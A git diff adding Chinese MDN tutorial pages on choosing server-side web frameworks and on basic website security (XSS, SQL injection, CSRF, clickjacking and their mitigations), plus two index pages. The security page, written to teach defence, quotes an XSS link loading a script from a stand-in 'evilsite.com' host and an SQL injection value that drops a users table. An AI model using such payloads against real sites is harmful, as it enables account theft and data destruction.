+<p>如果你是一个完全的初学者,那么你可能会基于“易于学习”来选择你的框架。除了语言本身的“易于学习”之外,帮助新手的高质量的文档/教程和一个活跃的社区是你最有价值的资源。在后续课程中,我们选取了Djnago(Python)和Express(Node/Javascript)来编写我们的实例,主要因为它们很容易上手并且有强大的支持。</p> + +<div class="note"> +<p><strong>注意</strong>: 我们可以去 <a href="https://www.djangoproject.com/">Django</a> (Python) 和 <a href="http://expressjs.com/">Express</a> (Node/JavaScript) 的主页上去看看它们的文档和社区。</p> + +<ol> + <li>导航至主页 (上面已给出链接) + <ul> + <li>点击文档菜单的链接 (通常都叫做 "Documentation(文档), Guide(指南), API Reference(API参考), Getting Started(快速开始)"之类的。)</li> + <li>你能看到如何设置URL路由、模板、数据库/数据模型的主题吗?</li> + <li>文档说得够清楚吗?</li> + </ul> + </li> + <li>导航至各个站点的邮件列表(从社区的链接访问) + <ul> + <li>近几天提出了多少问题?</li> + <li>有多少问题得到了回应?</li> + <li>他们是否有一个活跃的社区?</li> + </ul> + </li> +</ol> +</div> + +<h2 id="几个还不错的框架?">几个还不错的框架?</h2> + +<p>让我们继续,来讨论几个特定的服务器端框架。</p> + +<p>下面的服务器端框架体现了现在最受欢迎的几个。它们有你需要用来提升效率的一切东西——它们是开源的,一直保持发展的态势,有着富有激情的社区,社区里的人创作出文档并且在讨论板上帮助使用者,并且被使用在很多高质量的网站上。当然还有很多其他非常棒的框架,你可以使用搜索引擎探索一下。</p> + +<div class="note"> +<p><strong>注意:(部分)解释来自框架的官方网站!</strong></p> +</div> + +<h3 id="Django_Python">Django (Python)</h3> + +<p><a href="https://www.djangoproject.com/">Django</a>是一个高水平的python web框架,它鼓励快速的开发和简洁、务实的设计。它由非常有经验的开发者创建的,考虑到了web开发中会遇到的大多数难题,所以你无需重复造轮就能够专心编写你的应用。 </p> + +<p>Django遵循“Batteries included”哲学,并且提供了几乎所有大多开发者们想要“开箱即用”的东西。因为它已经包含了所有东西,它作为一个整体一起工作,遵循着一致的设计原则,并且有扩展的、持续更新的文档。它也是非常快、安全和易于扩展的。基于python,Django代码非常容易阅读和维护。</p> + +<p>使用Django的主流网站(从Django官网首页看到的)包括: Disqus, Instagram, Knight Foundation, MacArthur Foundation, Mozilla, National Geographic, Open Knowledge Foundation, Pinterest, Open Stack.</p> + +<h3 id="Flask_Python">Flask (Python)</h3> + +<p><a href="http://flask.pocoo.org/">Flask</a>是python的一个微型框架</p> + +<p>虽然体量很小,Flask却可以开箱即用地创造出完备网站。它包含一个开发服务器和调试器,并且包含对于 <a href="https://github.com/pallets/jinja">Jinja2</a> 模板的支持, 安全的cookie, <a href="https://en.wikipedia.org/wiki/Unit_testing">unit testing</a>, 和 <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a> request dispatching。它有很好的文档和一个活跃的社区。</p> + +<p>Flask已经非常火爆了,部分因为那些需要在小型的、资源受限的系统中提供web服务的开发者们。(比如,在<a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="http://blogtarkin.com/drone-definitions-learning-the-drone-lingo/">Drone controllers</a>等上面运行服务器)。</p> + +<h3 id="Express_Node.jsJavaScript">Express (Node.js/JavaScript)</h3> + +<p><a href="http://expressjs.com/">Express</a> 针对 <a href="https://nodejs.org/en/">Node.js</a> 的快速的、unopinioned、灵活的、小型的web框架(node是用来运行Javascript的无浏览器的环境)。它为web和移动应用提供强大的系列功能,并且传输有用的HTTP工具、方法和<a href="/en-US/docs/Glossary/Middleware">middleware</a>.</p> + +<p>Express非常受欢迎,主要因为它减轻了客户端Javascript程序到服务器端开发的迁移,并且部分因为它是资源节约型(底层的node环境在单线程中使用轻量级多任务处理,而不是为每个web请求提供单独的进程)。</p> + +<p>因为Express是一个小型的web框架,它几乎不包含任何你可能想要使用的组件(比如,数据库接口和对用户和会话的支持通过独立的库来完成)。有很多独立的、非常好的组件,但是有时候你可能很难决定对于特定目的而言哪一个是最好的! </p> + +<p> 很多非常受欢迎的服务器端编程和全栈框架(同时包括服务器端和客户端框架),包括 <a href="http://feathersjs.com/">Feathers</a>, <a href="https://www.itemsapi.com/">ItemsAPI</a>, <a href="http://keystonejs.com/">KeystoneJS</a>, <a href="http://krakenjs.com/">Kraken</a>, <a href="http://lean-stack.io/">LEAN-STACK</a>, <a href="http://loopback.io/">LoopBack</a>, <a href="http://mean.io/">MEAN</a>, 和 <a href="http://sailsjs.org/">Sails</a>.</p> + +<p>大量的profile company使用Express,包括优步、Accenture、IBM等(<a href="http://expressjs.com/en/resources/companies-using-express.html">这里</a>是一张列表).</p> + +<h3 id="Ruby_on_Rails_Ruby">Ruby on Rails (Ruby)</h3> + +<p><a href="http://rubyonrails.org/">Rails</a> (通常被称作"Ruby on Rails")是一个为Ruby语言编写的web框架。</p> + +<p>Rails遵循了和Django非常相似的设计哲学。正如Django一样,它提供了检索URLs的标准机制、从数据库中访问数据、从模板中生成HTML页面、格式化数据{{glossary("JSON")}} 或者 {{glossary("XML")}}。同样的,它也鼓励如 DRY (不要重复你自己)的设计模板——尽可能地只写一次代码、MVC(模板-视图-控制中心)以及很多其他的一些。</p> + +<p>当然,还有很多由于因为具体设计决定和语言的特性导致的差异。</p> + +<p>Rails被用在很多站点中,包括:<strong> </strong><a href="https://basecamp.com/">Basecamp</a>, <a href="https://github.com/">GitHub</a>,<a href="https://shopify.com/">Shopify</a>, <a href="https://airbnb.com/">Airbnb</a>, <a href="https://twitch.tv/">Twitch</a>, <a href="https://soundcloud.com/">SoundCloud</a>,<a href="https://hulu.com/">Hulu</a>, <a href="https://zendesk.com/">Zendesk</a>, <a href="https://square.com/">Square</a>, <a href="https://highrisehq.com/">Hi</a></p> + +<h3 id="ASP.NET">ASP.NET</h3> + +<p><a href="http://www.asp.net/">ASP.NET</a> 是一个由微软开发的开源Web框架,用于构建现代的Web应用程序和服务。通过ASP.NET你能快速创建基于HTML、CSS、JavaScript的网站,并且能满足大量用户的需求,还可以很容易地添加诸如Web API、数据表单、即时通讯的功能。</p> + +<p>ASP.NET的特点之一就是它建立在 <a href="https://en.wikipedia.org/wiki/Common_Language_Runtime">Common Language Runtime</a> (CLR公共语言运行时)之上。这使得程序员可以使用任何支持的.NET语言(如C#、Visual Basic)来编写ASP.NET代码。和很多微软的产品一样,它得益于出色的开发工具(通常是免费的)、活跃的开发者社区,以及详尽的文档。 </p> + +<p>ASP.NET被微软、Xbox、Stack Overflow等采用。</p> + +<h3 id="Mojolicious_Perl">Mojolicious (Perl)</h3> + +<p><a href="http://mojolicious.org/">Mojolicious</a>是为Perl语言设计的新一代Web框架。 </p> + +<p>在Web的早期阶段,许多人都为了一个叫做 <a href="https://metacpan.org/module/CGI">CGI</a> 的优秀的Perl库而学过Perl。它简单到即使你不是太懂这门语言也可以开始使用,而且也强大到足以让你可以用下去。Mojolicious通过最新的技术实现了这个想法。</p> + +<p>Mojolicious提供的一些功能是:</p> + +<ul> + <li><strong>实时Web框架</strong>,可轻松将单个文件原型,生成为结构良好的MVC Web应用程序;</li> + <li>RESTful路由,插件,命令,Perl-ish模板,内容协商,会话管理,表单验证,测试框架,静态文件服务器,CGI /<a href="http://plackperl.org/">PSGI</a> 检测,一流的Unicode支持;</li> + <li>全栈式 HTTP 和 WebSocket 客户机/服务器架構,由以下技术支持与实作-IPv6,TLS,SNI,IDNA,HTTP / SOCKS5 代理,UNIX 域套接字,Comet(长轮询),保持活动,连接池,超时,cookie,multipart,支持 gzip 压缩</li> + <li>具有CSS选择器支持的 JSON 和 HTML / XML 解析器和生成器;</li> + <li>非常干净,可移植且面向对象的纯 Perl API,没有任何隐藏的魔法;</li> + <li>全新的代码基于多年的经验,免费和开源。</li> +</ul> + +<h2 id="总结">总结</h2> + +<p>这篇文章展示了web框架如何使得编写和维护服务器端代码变得简单。它也提供了对于几个流行的框架的评价,还讨论了选择一个web框架的标准。你现在至少应该了解了如何为你的服务器端开发选择一个web框架。如果还没有,也不要担心——接下来我们给你一个详细的Django和Express教程,从而让你有一些使用web框架的实战经验。</p> + +<p>这个模块的下一章节我们会稍微转变一下思路,我们会讨论一下网络安全。</p> + +<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</p> diff --git a/files/zh-cn/learn/server-side/first_steps/website_security/index.html b/files/zh-cn/learn/server-side/first_steps/website_security/index.html new file mode 100644 index 0000000000..3b6e400257 --- /dev/null +++ b/files/zh-cn/learn/server-side/first_steps/website_security/index.html @@ -0,0 +1,165 @@ +--- +title: 站点安全 +slug: learn/Server-side/First_steps/Website_security +tags: + - 安全 + - 站点安全 +translation_of: Learn/Server-side/First_steps/Website_security +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</div> + +<p class="summary">站点安全需要在网站设计和使用的各个方面保持警惕。这篇入门文章不会让你成为一个网站安全专家,但是可以帮助你理解威胁的来源以及如何保护你的Web应用来远离这些常见的攻击。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">准备内容:</th> + <td>计算机基础知识.</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td> + <p>了解针对Web应用常见的攻击方式和用来减少网站被黑客攻击的风险的方法。</p> + </td> + </tr> + </tbody> +</table> + +<h2 id="什么是站点安全">什么是站点安全?</h2> + +<p>互联网很危险!我们经常听到网站因为拒绝服务攻击或主页显示被修改的(通常是有害的)内容而无法使用。在一些出名的案例中,上百万的密码、邮件地址和信用卡信息被泄露给了公众,导致网站用户面临个人尴尬和财务威胁。</p> + +<p>站点安全的目的就是为了防范这些(或者说所有)形式的攻击。更正式点说,站点安全就是为保护站点不受未授权的访问、使用、修改和破坏而采取的行为或实践。</p> + +<p>有效的站点安全需要在对整个站点进行设计:包括Web应用编写、Web服务器的配置、密码创建和更新的策略以及客户端代码编写等过程。尽管这听起来很凶险,好消息是如果你使用的是服务器端的Web服务框架,那么多数情况下它默认已经启用了健壮而深思熟虑的措施来防范一些较常见的攻击。其它的攻击手段可以通过站点的Web服务器配置来减轻威胁,例如启用HTTPS. 最后,可以用一些公开可用的漏洞扫描工具来协助发现你是否犯了一些明显的错误。</p> + +<p>文章的剩余部分列举了一些常见威胁的细节以及用来保护站点的一些简单措施。</p> + +<div class="note"> +<p><strong>Note</strong>: 这只是一篇介绍性的主题,旨在帮你开始思考站点安全。它并不详尽。</p> +</div> + +<h2 id="站点安全威胁">站点安全威胁</h2> + +<p>这个部分列举了常见网站攻击手段以及如何减轻它们带来的危害。当你读的时候请注意,这些攻击是如何得手的,当web应用相信这些来自浏览器的信息或者不够坚持自己的时候。</p> + +<h3 id="跨站脚本_XSS">跨站脚本 (XSS)</h3> + +<p>XSS是一个术语,用来描述一类允许攻击者通过网站将客户端脚本代码注入到其他用户的浏览器中的攻击手段。由于注入到浏览器的代码来自站点,其是可信赖的,因此可以做类似将该用户用于站点认证的cookie发送给攻击者的事情。一旦攻击者拿到了这个cookie,他们就可以登陆到站点,就好像他们就是那个用户,可以做任何那个用户能做的事情。根据站点的不同,这些可能包括访问他们的信用卡信息、查看联系人、更改密码等。</p> + +<div class="note"> +<p><strong>Note</strong>: XSS 攻击在历史上较其他类型更为常见。</p> +</div> + +<p>有两种主要的方法可以让站点将注入的脚本返回到浏览器 -- 通常被称做 反射型 和 持久型 XSS攻击。</p> + +<ul> + <li>反射型 XSS 攻击发生在当传递给服务器的用户数据被立即返回并在浏览器中原样显示的时候 -- 当新页面载入的时候原始用户数据中的任何脚本都会被执行!<br> + <br> + 举个例子,假如有个站点搜索函数,搜索项被当作URL参数进行编码,这些搜索项将随搜索结果一同显示。攻击者可以通过构造一个包含恶意脚本的搜索链接作为参数(例如 <code>http://mysite.com?q=beer<script%20src="http://evilsite.com/tricky.js"></script> </code>),然后把链接发送给另一个用户。如果目标用户点击了这个链接,当显示搜索结果时这个脚本就会被执行。正如上述讨论的,这促使攻击者获取了所有需要以目标用户进入站点的信息 -- 可能会购买物品或分享联系人信息。<br> + </li> + <li>持久型 XSS 攻击: 恶意脚本存储在站点中,然后再原样地返回给其他用户,在用户不知情的情况下执行。<br> + <br> + 举个例子,接收包含未经修改的HTML格式评论的论坛可能会存储来自攻击者的恶意脚本。这个脚本会在评论显示的时候执行,然后向攻击者发送访问该用户账户所需的信息。这种攻击类型及其常见而且有效,因为攻击者不需要与受害者有任何直接的接触。<br> + <br> + 尽管 <code>POST</code> 和 <code>GET</code> 方式获取到的数据是XSS攻击最常见的攻击来源,任何来自浏览器的数据都可能包含漏洞(包括浏览器渲染过的Cookie数据以及用户上传和显示的文件等).</li> +</ul> + +<p> 防范 XSS 攻击的最好方式就是删除或禁用任何可能包含可运行代码指令的标记。对 HTML 来说,这些包括类似 <code><script></code>, <code><object></code>, <code><embed></code>,和 <code><link> </code>的标签。</p> + +<div> +<p>修改用户数据使其无法用于运行脚本或其它影响服务器代码执行的过程被称作输入过滤。许多Web框架默认情况下都会对来自HTML表单的用户数据进行过滤。</p> +</div> + +<h3 id="SQL_注入">SQL 注入</h3> + +<p>SQL 注入漏洞使得恶意用户能够通过在数据库上执行任意SQL代码,从而允许访问、修改或删除数据,而不管该用户的权限如何。成功的注入攻击可能会伪造身份信息、创建拥有管理员权限的身份、访问服务器上的任意数据甚至破坏/修改数据使其变得无法使用。</p> + +<p>如果传递给底层SQL语句的用户输入可以修改该语句的语义,这种漏洞便是存在的。例如下面一段代码,本来是用来根据HTML表单提供的特定名字(<code>userName</code>)来列出所有的用户:</p> + +<pre class="brush: sql notranslate">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre> + +<p>如果用户输入了真实的名字,这段代码会如预想的运行。然而一个恶意用户可以完全将这个SQL语句的行为改变为下面的新语句的行为,只要通过将 <code>userName</code>指定为下列 “<strong>粗体</strong>” 的文本。修改后的代码创建了一个合法的SQL语句,该语句删除了整个<code> users</code> 表,然后从 <code>userinfo</code> 表中获取了所有数据(所有用户的信息都被暴露了)。这是有效的,因为注入的文本的第一部分(<code>a';</code>)结束了原来的语句( ' 在SQL语句中是用来描述字符串常量的) 。</p> + +<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't'</strong>; +</pre> + +<p>避免此种攻击的方法就是确保任何传递给SQL查询语句的用户数据都无法更改查询的本来用意。有种方式便是将用户输入中任何在SQL语句中有特殊含义的字符进行转义。</p> + +<div class="note"> +<p><strong>Note</strong>: SQL语句把 ' 号作为一个字符串常量的开头的结尾。通过在前面放置一个斜杠,我们把单引号进行了转义( \' ),然后 SQL 就会将其视为一个字符(作为字符串的一部分)。</p> +</div> + +<p>在下面的语句中我们对 ' 字符进行了转义。SQL会将<strong>粗体</strong>显示的整段字符串解释为 name(这个name很古怪,但至少是没有危害的!)</p> + +<pre class="brush: sql notranslate">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>; + +</pre> + +<p>Web框架通常会为你进行这种转义操作。例如 Django,可以确保任何传递给查询集合 (model查询)的用户数据都是已经转义过的。</p> + +<div class="note"> +<p><strong>Note</strong>: 本章节引用了大量来自 <a href="https://en.wikipedia.org/wiki/SQL_injection">Wikipedia </a>的内容.</p> +</div> + +<h3 id="跨站请求伪造_CSRF">跨站请求伪造 (CSRF)</h3> + +<p>CSRF 攻击允许恶意用户在另一个用户不知情的情况下利用其身份信息执行操作。</p> + +<p>这种形式的攻击用实例来解释最好。John是一个恶意用户,他知道某个网站允许已登陆用户使用包含了账户名和数额的HTTP <code>POST</code>请求来转帐给指定的账户。John 构造了包含他的银行卡信息和某个数额做为隐藏表单项的表单,然后通过Email发送给了其它的站点用户(还有一个伪装成到 “快速致富”网站的链接的提交按钮).</p> + +<p>如果某个用户点击了提交按钮,一个 HTTP <code>POST</code> 请求就会发送给服务器,该请求中包含了交易信息以及浏览器中与该站点关联的所有客户端cookie(将相关联的站点cookie信息附加发送是正常的浏览器行为) 。服务器会检查这些cookie,以判断对应的用户是否已登陆且有权限进行上述交易。</p> + +<p>最终的结果就是任何已登陆到站点的用户在点击了提交按钮后都会进行这个交易。John发财啦!</p> + +<div class="note"> +<p><strong>Note</strong>: 这里的诀窍是,John 不需要访问那些用户的cookie(或者说身份信息) -- 用户的浏览器存储了这些信息,而且会自动将其包含在发送给对应服务器的请求中。</p> +</div> + +<p>杜绝此类攻击的一种方式是在服务器端要求每个 POST 请求都包含一个用户特定的由站点生成的密钥( 这个密钥值可以由服务器在发送用来传输数据的网页表单时提供)。这种方式可以使John无法创建自己的表单,因为他必须知道服务器提供给那个用户的密钥值。即使他找出了那个密钥值,并为那个用户创建了表单,他也无法用同样的表单来攻击其他的所有用户。</p> + +<p>Web 框架通常都会包含一些类似的CSRF 防范技巧。</p> + +<h3 id="其他威胁">其他威胁</h3> + +<p>其它常见的攻击/漏洞利用方式包括:</p> + +<ul> + <li><a href="https://www.owasp.org/index.php/Clickjacking">劫持 </a>. 通过这种方式,恶意用户劫持了对可见上层站点的点击,然后将其转发给下层隐藏的页面。这种技术例如可以用来显示一个合法的银行网站,但是将登陆认证信息截获到由攻击者控制的隐藏的{{htmlelement("iframe")}}中。另外也可以用于促使用户点击可见网页的按钮,实际上却在不知情的情况点击了一个完全不同的按钮。作为防范手段,你的站点可以通过设置适当的HTTP 头来防止其被嵌入到另一个站点的iframe中。</li> + <li><a href="/en-US/docs/Glossary/Distributed_Denial_of_Service">拒绝服务</a> (DoS). Dos 通常通过使用伪造的请求淹没站点,这样合法用户的访问就会被中断。这些请求可能仅仅是数量巨大或者是单独消耗了大量资源 (如 延缓读, 上传大文件等) 。DoS 防护通常通过识别并堵塞 “恶意”的网络数据来工作,同时允许合法信息通过。 这些防护一般都是在Web服务器之前或服务器中进行(它们并非web应用本身所为).</li> + <li><a href="https://en.wikipedia.org/wiki/Directory_traversal_attack">目录遍历</a>(File and disclosure). 在这种攻击中,攻击者会尝试访问Web服务器文件系统中他们本不该访问的部分。这种漏洞会在用户可以传递包含文件系统导航字符的文件名时出现(比如 ../../ )。解决方法就是在使用前对用户输入进行过滤。</li> + <li><a href="https://en.wikipedia.org/wiki/File_inclusion_vulnerability">文件包含</a>. 在此攻击方式中,用户在传递给服务器的数据中指定一个“非故意”的文件来显示或执行。一旦载入成功,这个文件就可以在服务器或客户端(造成 XSS 攻击)执行。解决方式就是在使用前对输入进行过滤。</li> + <li><a href="https://www.owasp.org/index.php/Command_Injection">命令行注入</a>. 命令行注入攻击允许恶意用户在主机操作系统中执行任意系统命令。解决方法就是在系统调用中使用前对用户输入进行过滤。</li> +</ul> + +<p>还有很多的方式。要查看更全面的列表,请访问 <a href="https://en.wikipedia.org/wiki/Category:Web_security_exploits">Category:Web security exploits</a> (Wikipedia) 和 <a href="https://www.owasp.org/index.php/Category:Attack">Category:Attack</a> (Open Web Application Security Project).</p> + +<h2 id="一些关键信息">一些关键信息</h2> + +<p>当Web应用信任来自浏览器的数据时,上述章节里提到的大多数攻击利用手段才能成功。无论你做什么其它的事情来提升你的网站的安全性能,在将信息展示在浏览器之前、在使用SQL语句进行查询之前、在传递给一个操作系统或者文件系统之前,你应该过滤掉所有的用户源信息。</p> + +<div class="warning"> +<p>重要:在你可以了解到的有关网站安全大多数 课程之中,最重要的就是<strong>不要相信来自浏览器的数据</strong>。包括在URL参数中的GET请求、POST请求、HTTP头、cookies、用户上传的文件等等。一定要每次都检查用户输入的信息。每次都预想最坏的结果。</p> +</div> + +<p>你可以采取一些简单的步骤:</p> + +<ul> + <li>采取更加强大的密码管理措施。当密码频繁更换时鼓励更加健壮的密码。采取双因素认证,也就是说除了密码,用户还应该输入另一种认证码(通常是只有唯一一个用户拥有的通过一些物理硬件传输的,比如发送给用户手机的验证短信)。</li> + <li>将你的服务器配制成 <a href="/en-US/docs/Glossary/https">HTTPS</a> 和 <a href="/en-US/docs/Web/Security/HTTP_strict_transport_security">HTTP Strict Transport Security</a> (HSTS)。HTTPS 会加密你的用户和服务器之间传输的信息。这使得登录认证、cookise、POST数据及头信息不易被攻击者获得。</li> + <li>持续追踪那些常见的网络攻击 (the <a href="/en-US/docs/">current OWASP list is here</a>),先解决最脆弱的部分。</li> + <li>使用 <a href="https://www.owasp.org/index.php/Category:Vulnerability_Scanning_Tools">vulnerability scanning tools</a> 来对你的网站进行一些安全测试(然后,你的非常受欢迎的网站还可以靠提供赏金来寻找bug,就像Mozilla这样(<a href="https://www.mozilla.org/en-US/security/bug-bounty/faq-webapp/">like Mozilla does here</a>)。</li> + <li>只存储和展示你不得不需要的东西。比如,如果你的用户不得不存储一些敏感信息(如信用卡详明),只展示足以让用户识别卡号的几位数字即可,却不足以让黑客复制之后在另一个站点使用。现今最常见的是只展示信用卡卡号后4位数字。</li> +</ul> + +<p>web框架可以帮助抵御很多常见的攻击。</p> + +<h2 id="总结">总结</h2> + +<p>这篇文章介绍了有关网络安全的概念和你应该避免的一些常见的攻击。最重要的是,你应该明白一个web应用不可以相信任何来自网络服务器的数据!所有的用户数据在展示、使用SQL查询或者回应系统之前应该被过滤。</p> + +<p>这也是<a href="/en-US/docs/Learn/Server-side/First_steps">这个模块</a>的结尾,涵盖了你之前在服务器端编程学到的知识。我们希望你非常享受这个学习基础概念的过程,并且你现在已经准备好选择一个web框架开始编程了。</p> + +<p>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/First_steps")}}</p> diff --git a/files/zh-cn/learn/server-side/index.html b/files/zh-cn/learn/server-side/index.html new file mode 100644 index 0000000000..f0e6e64501 --- /dev/null +++ b/files/zh-cn/learn/server-side/index.html @@ -0,0 +1,41 @@ +--- +title: 服务器端网页编程 +slug: learn/Server-side +translation_of: Learn/Server-side +--- +<div>{{LearnSidebar}}</div> + +<p class="summary"><strong><em>动态网页——服务器端编程 [Dynamic Websites </em></strong>–<em><strong> Server-side programming]</strong></em> 这主题是一系列的模块来演示如何创建动态的网页;可以交付自定义的信息来回应 HTTP 请求的网页。这些模块为服务器端编程提供了一个通用的介绍,以及如何使用 Django (Python) 和 Express (Node.js/JavaScript) 去创建基础应用的具体的入门指导。</p> + +<p>大多数的主流网页使用一类服务器端的技术去动态地显示所要求的不同数据。举个例子,想象一下 Amazon 上有多少可购买的产品,以及 FaceBook 上有多少帖子?用完全不同的静态页面去显示所有的这些内容会彻底地低效,所以取而代之的是这些网站展示的是静态的模板 [templates] (用 <a href="/zh-CN/docs/Learn/HTML">HTML</a>, <a href="/zh-CN/docs/Learn/CSS">CSS</a>, 和 <a href="/zh-CN/docs/Learn/JavaScript">JavaScript</a> 构建),然后在有需要时动态地在这些模板中更新数据展示,比如说当你想要在 Amazon 上浏览一个不同的产品。</p> + +<p>在现代的网页开发世界里,学习服务器端开发是高度推荐的。</p> + +<p><strong style="color: #4d4e53; font-size: 2.143rem; font-weight: 700; letter-spacing: -1px;">学习路径</strong></p> + +<p>开始服务器端编程通常比客户端编程要简单,因为动态的页面倾向于执行非常类似的操作(从数据库中获取数据然后显示到一个页面中,确认用户输入的数据以及保存到一个数据库中,检查用户的权限和登陆用户,以及更多),并且它是用能使这些和其他的常见网页服务端操作变简单的网页框架来构建的。</p> + +<p>知道一些关于编程概念(或者关于一个特定的编程语言)的基础知识会很实用,但不是必要的。类似的,精通客户端编程也不是必修的,但一些基本知识会帮助你和创建你的客户端的 “前端” 开发者更融洽地工作。</p> + +<p>你会需要去理解 ”网页是如何工作的“。我们推荐你先去阅读以下主题:</p> + +<ul> + <li>什么是一个网页服务器 [<a href="/zh-CN/docs/Learn/Common_questions/What_is_a_web_server">What is a web server</a>]</li> + <li>我需要什么软件去构建一个网页? [<a href="/zh-CN/docs/Learn/Common_questions/What_software_do_I_need">What software do I need to build a website?</a>]</li> + <li>你怎样上传文件到一个网页服务器? [<a href="/zh-CN/docs/Learn/Common_questions/Upload_files_to_a_web_server">How do you upload files to a web server?</a>]</li> +</ul> + +<p>拥有这些基础理解,你会做好完成在这节中的模块的准备。 </p> + +<h2 id="模块">模块</h2> + +<p>这个主题包含了以下的模块。你应该从第一个模块开始,然后接着到后面的任一模块,后面的模块演示了如何使用两个应用了合适的网页框架的非常流行的服务器端语言。</p> + +<dl> + <dt>服务器端编程的第一步 [<a href="/zh-CN/docs/Learn/Server-side/First_steps">Server-side website programming first steps</a>]</dt> + <dd>这个模块提供了关于服务器端网页编程的服务器技术无关的信息 [server-technology-agnostic information],包括了关于服务器端编程的根本问题的答案——”它是什么“,”它跟客户端编程的区别“,和 ”为什么它很实用“——以及关于一些流行的服务器端框架的概述和如何为你的网站选择最合适的框架的指南。最后我们提供了一个关于网页服务器安全的介绍性部分。</dd> + <dt>Django 网页框架 [<a href="/zh-CN/docs/Learn/Server-side/Django">Django Web Framework (Python)</a>]</dt> + <dd>Django 是一个非常流行以及功能齐全的服务器端网页框架,它是用 Python 编写的。这个模块讲解了为什么 Django 是一个这么好的网页服务器框架,如何设立一个开发环境以及如何使用它来执行常见的任务。</dd> + <dt>Express 网页框架 [<a href="/zh-CN/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a>]</dt> + <dd>Express 是用 JavaScript 编写并在 node.js 运行时环境中托管的一个流行的网页框架。这个模块讲解了这个框架的一些主要优点,如何设立你的开发环境以及如何执行常见的网页开发和部署的任务。</dd> +</dl> diff --git a/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/index.html b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/index.html new file mode 100644 index 0000000000..affc6f3aec --- /dev/null +++ b/files/zh-cn/learn/tools_and_testing/client-side_javascript_frameworks/index.html @@ -0,0 +1,136 @@ +--- +title: 理解客户端JavaScript框架 +slug: Learn/Tools_and_testing/Client-side_JavaScript_frameworks +tags: + - JavaScript + - 初学者 + - 前段框架 + - 学习 + - 客户端 +translation_of: Learn/Tools_and_testing/Client-side_JavaScript_frameworks +--- +<div>{{LearnSidebar}}</div> + +<p class="summary">JavaScript框架是现代前端web开发的重要部分,为开发人员提供了构建可伸缩、交互式web应用程序的经过测试的工具。许多现代公司使用框架作为工具的标准部分,因此许多前端开发工作现在需要框架经验。</p> + +<p class="summary">作为一个有抱负的前端开发人员,很难找出从哪里开始学习框架——有这么多不同的框架可供选择,新的问题出现,他们大多以类似的方式工作,但做一些不同的事情,还有一些具体的事情时要小心使用框架。</p> + +<p class="summary">在这一系列文章中,我们旨在为您提供一个舒适的起点,帮助您开始学习框架。我们的目标不是详尽地教给你所有你需要知道的关于React/ReactDOM,或者Vue,或者其他一些特定的框架;框架团队自己的文档已经完成了这项工作。相反,我们想备份和首先回答更基本的问题,如:</p> + +<ul> + <li class="summary">为什么要使用框架?他们为我解决了什么问题?</li> + <li class="summary">当我尝试选择一个框架时,我应该问什么问题?我甚至需要使用框架吗?</li> + <li class="summary">框架有什么特性?它们一般是如何工作的?框架对这些特性的实现有何不同?</li> + <li class="summary">它们与“普通的”JavaScript或HTML有什么关系?</li> +</ul> + +<p class="summary">在此之后,我们将提供一些教程,介绍一些主要框架的基本内容,为您提供足够的上下文和熟悉感,以便您自己开始更深入地学习。我们希望你以一种实用的方式来学习框架,不要忘记web平台的基本最佳实践,比如可访问性。</p> + +<p class="summary"><strong><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">通过“客户端框架介绍”即刻开始</a></strong></p> + +<h2 id="前提条件">前提条件</h2> + +<p>在尝试学习客户端框架(HTML、CSS,特别是JavaScript)之前,您应该首先真正学习核心web语言的基础知识。</p> + +<p>如果你理解了框架底层的基础Web平台特性,你将能编写更加健壮和专业的代码,更容易地排除问题。</p> + +<h2 id="说明指导">说明指导</h2> + +<dl> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">1. 客户端框架介绍</a></dt> + <dd>我们首先从以下话题开始研究框架,框架领域的总览,JavaScript和框架历史的简介,为什么需要框架以及框架能带给我们什么,如何考虑选择一个框架开始学习,有什么其它的客户端框架可供选择。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">2. 框架的主要特性</a></dt> + <dd>每种JavaScript框架都有自己不同的方式更新DOM,处理浏览器事件,为开发者提供愉悦的使用体验,这篇文章将探索“四大”框架的主要特性,从高级角度探讨框架的工作方式以及它们之间的区别。</dd> +</dl> + +<h2 id="React教程">React教程</h2> + +<div class="blockIndicator note"> +<p><strong>Note</strong>: React教程最后测试于2020年5月,基于React/ReactDOM 16.13.1和create-react-app 3.4.1.</p> + +<p>如果你需要确认你的代码与我们的版本区别,你可以在我们的<a href="https://github.com/mdn/todo-react">todo-react repository</a>仓库找到React应用示例代码的完整版本。想要获取当前最新的版本,查看<a href="https://mdn.github.io/todo-react-build/">https://mdn.github.io/todo-react-build/</a>.</p> +</div> + +<dl> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">1. 开始使用React</a></dt> + <dd>此章节我们将向React打招呼。我们将能发现有关React的背景和使用场景的一些细节,在我们的计算机上设置基本的React工具链,创建和运行简单的入门应用,学习React在这个过程是如何工作的。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">2. 开始我们的React待办清单</a></dt> + <dd>假设我们计划使用React创建proof-of-concept,一个允许用户添加,编辑和删除工作任务,不删除的情况标记任务完成的应用。此章节将带你完成基本的<code>App</code>组件结构和样式,为最后即将添加的独立组件定义和交互做好准备。</dd> + <dt><a href="/en-US/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">3. 